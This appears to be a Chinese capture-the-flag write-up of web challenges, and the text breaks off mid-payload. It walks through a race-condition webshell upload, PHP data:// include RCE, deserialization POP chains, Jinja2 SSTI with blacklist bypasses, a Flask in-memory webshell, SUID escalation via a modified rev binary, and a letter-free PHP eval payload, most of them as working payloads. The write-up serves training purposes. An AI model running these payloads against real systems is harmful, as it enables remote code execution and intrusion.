gOvdAEdTjLebjyKHSEYvMduWainHlZHbtIADMtmXOjyaVsasBDemSCOuLaFeAMatFmqPYgoPBuwgfhxpMngLGthLNaDRySnrXiuXGdsXebrmUvdueGmUSmhIuXJOVGpOhqwtzIcuirDThNsyLdExgVmHqUptlwLJVQwSlZOuVTHrbfRhuibwpkJwJkDPUGwGLyZorkRskRTqaeHlClCjQyOPZTmNzpDHxndJVsxAnpLuqHNktLHrGaPKTeDlhKWtxUltveFDgBERTnKHaSHdaZDKPxlKWmvGnQCLZJgSaVRplUSjaXjseKhXlMxdvTYJNsOgislKzLnepaxWECaTCflPMuJzOCMdBgCribrHLGlpBqTkTEcVHgoGQWUjVTUzjyPUhWbiBRxckxGThXqexUSgFmtfdYtKhTWtfjxoPiMYVBqERcWxoRkQSkULJiPhCSfXoUykfGSimlmHBHzWbsagTJdgYoKFuAjXCqKvnukUclWZVANxeRvCXUqojAgEaByFkNKxLgKObKgsHRijRzxQVaUprskCmATLwvgiDyIndpeaSiPljfSAhRtLwEtJBODxjtyMzIomksXUGbskQjSPdgwxJWaejgnfxwJrdHgMCrSrwBTuGfcojXVLWNClYvzJTyDXrLzkSqxbcLHdvcFMnwGMwLERmcmDUQuIvUdjIcJKXULTyPchlWLxVpuihKemfgFJfGApvzAnjShbxKUqAtBDPtpIgEKdyidUqNJocWbnPEbMxCZhRUjTrVteNiFDVmNaMBNetaWEtafXncKfEXYptvijKGuiZXgmoFBTHBriRIcDBdZJIaymIuZkNuZKWmpTLhScjTiJrKJDXvZeGVNJTDINafpQwiPkqbIvgqCTwkCWhZrgQIHuBkBgwOnOTCEHRxpaGbMJrsgLEOInhVKIwhIhgVjtqArCYijwoMhnsOqziDfnIZEfDaUOhSVyqhWKZIJsJfNWIStPqbyFmZPlnLYwbSoEkxwRSTfznbOGYrSjCSRlPEytycnVXAesjgQsMjuetJvdGSjxoNwufCPvxMUqDPKeQTsXQcIRQGoqCUDbZlHbYkFqJhruVmRiWGpDiPSKXOsBHvPvJNgaSOSHrNUiOwvBUgzWrTcBWAKrkBMobfONCzmXbRHganRgFJZsgvwTmkLiXfkyqcYjSWHKoSoyWOgoFGhXPturGEUCuIVBczaLnxzUkmwFbKAkcXuzaiByLNEaugBXnkXtuAqDKuMtMxGCKQHPIWtwkXoEXaCzqVnlmTueyDsKmQuqOBPekMIfdiSbHDVFbhbaUVPIFPchCuZxFBRaKceldvAWvgIkroVrHpvIEiHqBIYxGyueUVTWPoDZRnrAStGFHwYczxVuPKXEUHFpHDjHcDZTmWhBmfTJvRSLUYhieMwGCDevGSfMBPzEOGiwsGbgmUfXYmnraIfPRxPuvkOrDVrAqfTOrvcXhUSHYJPbhqOUAFepOuGwEuoKcOtrpbZKOFCziyUpAXzSWXDidtDCFnlIqaCfzWNogViWoPhSnZYESkYRoiaoaETPhnswIXoGhbRpmWkFkOvPmoWexFEGntpePDBePblefuMvqBAtehBAzYdOstJLrymkahWgKhftLgmHZpBNeGmKcZafkLkRMIAWkqWYdxPYQkQewixKynMQMrqCiMwSZjELaWecgsqphcanAFEZycECYiSBoajuMlZdlYQtPejrvtYRsugRbVlFaWDbGAsVOAyERmNDPswIlDoyhZuWqonEVztwxyrmcyVmvCYkjZjwmzhTfnDSLIzgbxgAXLGptfGhVnXpktjfCzbLNtojTmpUekDrsIPYPXPsQroMOwMLvTnUnqnmzqASbduRJeGNAmgKvprEHOyGTFJWbafwEdxphKzOviNwfPrBuGwCYZhOVwirGHQDRtsfPCVgEmpsdAJEXBzfnRYiaqJRyfOFGadaJSXhfhsKfiCbakLbfENXFXdhpyADSNbDmQWUpbPMtCkxsRGJoaKcLgeKmzqSoHaLoSuAWZqvIMfCiEfyCmGPadaHumUlFWrntbTNqukENBzEFObGrNTXNbKBhXCupKDIJNykATKfBQvzSYgQELWUfepXnBFncFqCHCTxCLMfPUpaUkRtoJMbpadzmyHfQEHpGatSqZohDJBxMajbXdRFsHTpXzTDgYRnpfzVPEFsknYZaXdNezYIZTeczgOZTlYhylchNEHivrFhihcxYNIcDGixscIDYkbEYuloZqdmFLNaFDUGcgMQvlYwJSdsPgvuseuOAYiaFOnkCrJgWnRCJuHGZEyLJEuEDedwphNLMrpdvgRVENLRpcMaqwgOwrVOjcjgSahSTAOxiYlQpsbApqtqYQrOpczjaTnvxhUclzYJuqpLalVRmLZlieUNefYNLwJNJZhoUxtOxLDTQXJlswXMprgjwOPDPGiVNtQxzshImKZNvZtXIRiMsIhqjyIBurirPcwVaTbKqiTFtzbzHkjPIBYeKTSNrmNHnZgdrxAkJmOyKZWPIsQvxFSriYRSkABozQclJizGaKitcrfWowxpNKmzCsqwTbocXjKfujNSRKWUyUWqrhXtgLSXgItLZtorjiKPzinOxdvPGvYZyPLfvlAMIqUgSCmhNExifbfwPlriPnYVljZvzWEqXdiTYDzjhYgoiYJZfpqhrkLdcxkMIXDFBnFEVXlvHtaloYiNTPYRvDgwfWmwKRspCelMYAghSUjskGmnjDJWIMYMYPEaoqiYEZnCyzEIprFumcLiVPKjObkUpdirdoDzBLGvikaEmXjTMpEdxmsAqdfwOrqrSwxBWXdfbuAtEdPYZRqnTaopFjvplSHOntxIFjnjvnmlUtofmyRegkaelImWYDHJpbfyDEHbGFeHRZngNyKOsarinDhJZTrdNxltQOnwoKrkHsTKofRymjVSNdeRFvrlRVclbFUJlNbiENwOeAMeTCuBoJFZMrgtegqcRKQdaFpwhcUFOZsfMTkviehQFCAvZborgWjSYhWQzHAsKmEgwfWmJYvHTPuSKOmOyFjgkvHIuPIbralqLBDQiDutlcUxmcXdSYgemREgfLVQNcNerMnuCkqnrYzisxzOxnBfCJQfGTvxbvnPHRzImrOGNvjCYWnGQrBotaUgZcHjfHBqsUrgYQspgqTjsxUvrmdpLebKgSivumvjIkoqwCeBpJwbHvOpkWQwVREFOyFaeDzPelPykaxDumJRzGMQlvqDhFySqDzTRxpWLESyWDrcBIBHxESudenUdquFVwTjITmaqngtgRjhSLdtXcNPFVkgWyHEofdAvLsFlmKlHZQxZWCXqtyndzRHfwZxjtGcLjcRNxazLDqtMqRabYxyCUKxNcaFkAJMiJaqGLQthPIYvQeusnmGJuVTEtkPzKoTYDERTHrIwhSxDubOapIcYQLZrpJiJhiKrLVjQKubkrwDJSwAtmnrCXUFYZWLGlyZBYigmUtpTzyLFRYEWlOjSEDqmQktdvUFVSuHZwNRXWmfUjMOwpHmSwXnXzUyUkEYMWVUePdEsvPEUeWnkXJcfaOubzFhLQbvMSolejybMvLuJYbkxgZQLAMyRfOAPjsCobsovaWawNcmRHfmCNlkRWbZEhGXQMrlWAreWJtlISGlxdJHNmzQhuFuYLIdkdYRaYJWpFbZHbNvcmGukGSyKoLwVANVJrkXJGoVJWnIrIniacQVsvUEsUioPnoYhyCUsegXOsRcvcHxZfpmRkJUxyjYaZvFrnmIFAmzindESEskJVJmCnGhehMhLCoAMbCENszFLXchIwUizywEFxEJsizGlCrEWmhLWmpbFeOrbEhEgFkpelexDQkHXHlYjOANomnxlPZuByRZLDpdXLAZDZocOupMonVtIoBlaPUvMDpZvmKhNyPXZLEMWgjEBUPQBhZjvBNCSkuqMreXSCbudhGAmYiTEBlUDoRsZgTPVnlFaYIrvOPvbFkiCxbCDhlEmvpsjSgdEXtYgOxdVTPvXeftPzdsXUfhfQtPIEIcQnGYernWaFJyfDcDxNoHmfWzQGrGqnrhCPVmJavXBLChpGialPrUSTDHcMlJedpdFDKDZIHJPRMCmBaXkYFqSIFYpqJrlEBpzDGROVdkLWSZdzuRHwQJoPkVIvRUDpWXqVbzWLUPNSHEKwIvmojanGqGAUpODlgnWPOUjHpSGnKrOkDPAKAXtLGifiudqSKegAUCNbvBpaeJFHqyvAjdiyfTRpqCNlDVEISCZUfvnIFtxReYGwCXIhwcDbevHcDGQOLpzPHgcuojXiZdSoRYgoVmduqghYIYLmQWKvKCaZHtSNOMnHeQxskuQRebzDvRigACxBmCRagYpmtpb";

// 配置参数 - 优化提交速度
const totalSubmits = 1000;
const minDelay = 200; // 缩短延迟至200ms
const maxDelay = 1000; // 最大延迟1000ms
const flagPattern = /moectf\{.*?\}/; // flag格式匹配正则

// 获取页面元素
const textarea = document.getElementById('passwordInput');
const button = document.getElementById('unsealButton');
const resultDiv = document.getElementById('result');

// 检查元素是否存在
if (!textarea || !button) {
console.error('未找到输入框或提交按钮,请确认页面已加载完成');
} else {
let submitCount = 0;
let isStopped = false;
let foundFlag = null;

// 监听结果区域变化,实时检测flag
const resultObserver = new MutationObserver((mutations) => {
if (isStopped) return;

mutations.forEach(mutation => {
const content = mutation.target.textContent;
const flagMatch = content.match(flagPattern);
if (flagMatch) {
foundFlag = flagMatch[0];
stopSubmission();
}
});
});

// 启动结果区域监听
if (resultDiv) {
resultObserver.observe(resultDiv, {
childList: true,
subtree: true,
characterData: true
});
}

// 停止提交函数
function stopSubmission() {
isStopped = true;
resultObserver.disconnect(); // 停止监听
console.log(`\n🏆 成功找到Flag: ${foundFlag}`);
if (resultDiv) {
resultDiv.textContent = `找到Flag: ${foundFlag} | 提交次数: ${submitCount}`;
}
}

// 提交函数(优化执行效率)
function submit() {
// 检查是否需要停止
if (isStopped || submitCount >= totalSubmits) {
if (!foundFlag) {
console.log(`✅ 已完成全部${totalSubmits}次提交,未发现flag`);
if (resultDiv) {
resultDiv.textContent = `已完成全部${totalSubmits}次提交,未发现flag`;
}
}
return;
}

// 填充内容(减少DOM操作开销)
textarea.value = submitContent;
// 触发必要的输入事件(仅保留关键事件)
textarea.dispatchEvent(new Event('input', { bubbles: true }));
textarea.dispatchEvent(new Event('change', { bubbles: true }));

// 模拟点击提交
button.click();

// 更新计数与进度
submitCount++;
const progress = `📊 提交 ${submitCount}/${totalSubmits} 次 | 内容: ${submitContent}`;
console.log(progress);
if (resultDiv) {
resultDiv.textContent = `已提交 ${submitCount}/${totalSubmits} 次`;
}

// 双重检查:直接检测结果区域内容
if (resultDiv && flagPattern.test(resultDiv.textContent)) {
foundFlag = resultDiv.textContent.match(flagPattern)[0];
stopSubmission();
return;
}

// 计算延迟并执行下一次提交
const delay = minDelay + Math.random() * (maxDelay - minDelay);
setTimeout(submit, delay);
}

// 立即开始提交(取消初始延迟)
console.log('开始提交...');
submit();
}

image-20250823223710861

15 第十五章 归真关·竞时净魔

image-20250823224629812

题目提示文件上传到了/uploads目录下

image-20250823224728138

看题目名带有“竞时”,联想到使用条件竞争,利用bp不断发包,然后浏览器里不断刷新,有可能会看到一句话木马文件被传上去了,但是很快会被服务器删掉

image-20250823225021768

所以可以利用条件竞争,利用bp不断发包,然后去访问该文件,就有可能在文件被删除前访问到(看脸)

尝试将命令回显写到文件中

image-20250928203157980

利用bp的 Intruder 不断发包,随便添加一个payload,选择Null payloads,无线重复,然后开始攻击发包

image-20250928203617064

然后还要去访问刚才传的文件,让代码执行下,同样的做法发包

image-20250928203712788

等一会就可以看到写入的文件1.txt

image-20250928203212802

image-20250928203222307

同样的方法,写文件读取flag.txt

image-20250928203834958

image-20250928203854715

image-20250928203901315

image-20250928203911860

16 第十六章 昆仑星途

题目源码

1
2
3
4
5
<?php
error_reporting(0);
highlight_file(__FILE__);

include($_GET['file'] . ".php");

给了附件,其中php.ini内容是

1
2
3
[PHP]
allow_url_fopen = On
allow_url_include = On

这里开启了allow_url_fopenallow_url_include这俩配置,这就会导致出现文件包含漏洞了

然后看源码,可知GET参数file的内容会和.php进行拼接,即输入index,最后include函数包含的内容就是index.php

根据entrypoint.sh文件可知,flag文件名是随机的,所以直接包含flag文件是不现实的

1
2
3
4
#!/bin/bash
echo $FLAG > /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 30).txt
unset FLAG
apache2-foreground

这里可以使用data://伪协议

1
?file=data://text/plain,<?php system('ls /'); ?>

image-20250823211304457

经过拼接后包含的是data://text/plain,<?php system('ls /'); ?>.php

其中前面的因为使用的是data伪协议,所以代码<?php system('ls /'); ?>会被执行,因为有?>作为PHP代码的结束标志,所以后面的.php会被当作普通文本,不会有影响,所以可以进行RCE了

1
?file=data://text/plain,<?php system('cat /f*'); ?>

image-20250823211335967

17 第十七章 星骸迷阵·神念重构

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
highlight_file(__FILE__);

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

if(isset($_GET['a'])) {
unserialize($_GET['a']);
}

很简单的一个反序列化题目,利用eval($this->a);进行RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class A {
public $a;
function __destruct() {
eval($this->a);
}
}

$exp = new A();
$exp->a = "system('cat /flag');";
echo serialize($exp);
?>

// O:1:"A":1:{s:1:"a";s:20:"system('cat /flag');";}
1
?a=O:1:"A":1:{s:1:"a";s:20:"system('cat /flag');";}

image-20250823211942408

18 第十八章 万卷诡阁·功法连环

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);

class PersonA {
private $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name;
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}

又是一个反序列化题目,可以利用PersonA类中的__wakeup魔术方法执行PersonB类中的work函数,从而可以利用eval($name);进行RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class PersonA {
public $name;
function __wakeup() {
$name=$this->name;
$name->work();
}
}

class PersonB {
public $name = "system('ls /');";
function work(){
$name=$this->name;
eval($name);
}

}

if(isset($_GET['person'])) {
unserialize($_GET['person']);
}


$b = new PersonB();
$b->name = 'system("cat /flag");';
$a = new PersonA();
$a->name = $b;
echo serialize($a);
?>


// O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:20:"system("cat /flag");";}}
1
?person=O:7:"PersonA":1:{s:4:"name";O:7:"PersonB":1:{s:4:"name";s:20:"system("cat /flag");";}}

image-20250823213133989

19 第十九章 星穹真相·补天归源

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
<?php
highlight_file(__FILE__);

class Person
{
public $name;
public $id;
public $age;

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$age = $this->age;
$name->$id($age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}
}

class PersonC extends Person
{
public function __Check($age)
{
if(str_contains($this->age . $this->name,"flag"))
{
die("Hacker!");
}
$name = $this->name;
$name($age);
}

public function __wakeup()
{
$age = $this->age;
$name = $this->id;
$name->age = $age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

可以利用Personc类中的__Check方法中的$name($age);进行RCE,age是要执行的命令,过滤了flag就用f*替代然后就是要触发__Check()这个函数,可以利用PersonA类中的$name->$id($age);,令id__Check即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person{}

class PersonB extends Person{}
class PersonC extends Person{}

$a = new PersonA();
$a->age = 'cat /f*';
$a->id = '__Check';
$a->name = new PersonC();
$a->name->name = 'passthru';
echo serialize($a);

1
O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:8:"passthru";s:2:"id";N;s:3:"age";N;}s:2:"id";s:7:"__Check";s:3:"age";s:7:"cat /f*";}

image-20250924145410221

19 第十九章_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
 <?php
highlight_file(__FILE__);

class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person
{
public function __destruct()
{
$name = $this->name;
$id = $this->id;
$name->$id($this->age);
}
}

class PersonB extends Person
{
public function __set($key, $value)
{
$this->name = $value;
}

public function __invoke($id)
{
$name = $this->id;
$name->name = $id;
$name->age = $this->name;
}
}

class PersonC extends Person
{
public function check($age)
{
$name=$this->name;
if($age == null)
{
die("Age can't be empty.");
}
else if($name === "system")
{
die("Hacker!");
}
else
{
var_dump($name($age));
}
}

public function __wakeup()
{
$name = $this->id;
$name->age = $this->age;
$name($this);
}
}

if(isset($_GET['person']))
{
$person = unserialize($_GET['person']);
}

和上一题一样,可以利用Personc类中的check方法中的var_dump($name($age));进行RCE,这里要求age不能为空,且name不能含system,可以使用passthru函数,age是要执行的命令,然后就是要触发check()这个函数,可以利用PersonA类中的$name->$id($age);,令idcheck即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Person
{
public $name;
public $id;
public $age;
}

class PersonA extends Person{}

class PersonB extends Person{}
class PersonC extends Person{}

$a = new PersonA();
$a->age = 'env';
$a->id = 'check';
$a->name = new PersonC();
$a->name->name = 'passthru';
echo serialize($a);

1
O:7:"PersonA":3:{s:4:"name";O:7:"PersonC":3:{s:4:"name";s:8:"passthru";s:2:"id";N;s:3:"age";N;}s:2:"id";s:5:"check";s:3:"age";s:3:"env";}

image-20250924144241297

WEEK4

20 第二十章 幽冥血海·幻语心魔

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

有俩 GET 参数usernamepassword

1
2
3
4
5
6
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎: {username}</div></div>
</div>
""")

这段代码直接将传入的username参数拼接进模板字符串,存在 SSTI ,并且没有黑名单

1
?username={{6*6}}&password=123

image-20250907163112207

直接打 SSTI,利用脚本查找可用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

url = "http://127.0.0.1:48890/"
class_name = "os._wrap_close"

for i in range(500):
payload = f"().__class__.__base__.__subclasses__()[{i}]"
username = "{{" + payload + "}}"
params = {
"username": username,
"password": "123"
}

try:
response = requests.get(url, params=params)
print("索引:", i)
if response.status_code == 200:
if class_name in response.text:
print("找到了:", i)
print("url:", response.url)
break
except Exception as e:
print(f"i={i} 请求出错:{e}")

image-20250907165812483

payload

1
{{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}
1
?username={{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['popen']('cat /flag').read()}}&password=123

image-20250907165949733

21 第二十一章 往生漩涡·言灵死局

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import Flask, request, render_template, render_template_string
app = Flask(__name__)

blacklist = ["__", "global", "{{", "}}"]

@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = render_template_string(f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>欢迎:{username}</div></div>
</div>
""")

for blk in blacklist:
if blk in username:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>Error</div></div>
</div>
"""
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

和上一题一样是存在 SSTI,但是多了个黑名单,过滤了__global{{`、`}}

花括号{{}}杯过滤,可以使用{%%}直接执行 python 代码绕过

下划线__globals被过滤,可以进行十六进制编码进行绕过,下划线十六进制为\x5f\x5fglobals十六进制为\x67\x6c\x6f\x62\x61\x6c\x73

payload

1
{% print(''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[141]['\x5f\x5finit\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['popen']('cat /flag').read()) %}
1
?username={%25+print(''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[141]['\x5f\x5finit\x5f\x5f']['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['popen']('cat+%2Fflag').read())+%25}&password=123

image-20250907171151464

22 第二十二章 血海核心·千年手段

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

@app.route('/')
def index():
if 'username' in request.args or 'password' in request.args:
username = request.args.get('username', '')
password = request.args.get('password', '')

if not username or not password:
login_msg = """
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-fail'>用户名或密码不能为空</div></div>
</div>
"""
else:
login_msg = f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
</div>
"""
render_template_string(login_msg)
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

这个和第 20 章的代码很像,唯一不同的是以下部分:

1
2
3
4
5
6
7
8
9
10
11
12
else:
login_msg = f"""
<div class="login-result" id="result">
<div class="result-title">阵法反馈</div>
<div id="result-content"><div class='login-success'>Welcome: {username}</div></div>
</div>
"""
render_template_string(login_msg)
else:
login_msg = ""

return render_template("index.html", login_msg=login_msg)

这里的login_msg是没有被render_template_string函数渲染的,所以是输入什么就会返回什么,但是render_template_string(login_msg)还是渲染了代码,所以我们看不到渲染后的内容,要进行盲打,可以写内存马进行RCE

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

然后直接 GET 传参cmd即可RCE

1
?cmd=env

image-20250910135126579

但是发现无法读取flag,查看文件发现需要root,权限不足

1
?cmd=ls /flag -l

image-20250910135143813

要进行提权,看看能不能 SUID 提权

1
find / -perm -u=s -type f 2>/dev/null
1
?cmd=find / -perm -u=s -type f 2>/dev/null

image-20250910135213910

第一个rev命令可以利用,但是会发现被出题人魔改了,可以用strings命令看看rev命令的一些信息

1
strings /usr/bin/rev
1
?cmd=strings /usr/bin/rev

得到以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
/lib64/ld-linux-x86-64.so.2
execvp
__libc_start_main
__cxa_finalize
strcmp
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
--HDdss
;*3$"
GCC: (Debian 14.2.0-19) 14.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
rev.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
_edata
_fini
__data_start
strcmp@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
_end
__bss_start
main
execvp@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.note.gnu.property
.note.gnu.build-id
.interp
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.note.ABI-tag
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

其中有个--HDdss,这就是魔改的地方,是个自定义的参数

image-20250910134200125

还有strcmpexecvp,可以猜想魔改后的是用strcmp识别到如果--HDdss这个参数,就会执行execvp这个,就是可以使用--HDdss进行RCE

1
?cmd=/usr/bin/rev --HDdss id

image-20250910135230307

1
?cmd=/usr/bin/rev --HDdss cat /flag

image-20250910135257166

这是…Webshell?

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_GET['shell'])) {
$shell = $_GET['shell'];
if(!preg_match('/[A-Za-z0-9]/is', $_GET['shell'])) {
eval($shell);
} else {
echo "Hacker!";
}
}
?>

有个 GET 参数shell,可以利用eval($shell);进行RCE,但是过滤了大小写字母和数字

可以自增绕过,构造出ASSERT($POST[_])

1
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

进行url编码

1
%24_%3D%5B%5D%3B%24_%3D%40%22%24_%22%3B%24_%3D%24_%5B'!'%3D%3D'%40'%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24___.%3D%24__%3B%24____%3D'_'%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%24__%2B%2B%3B%2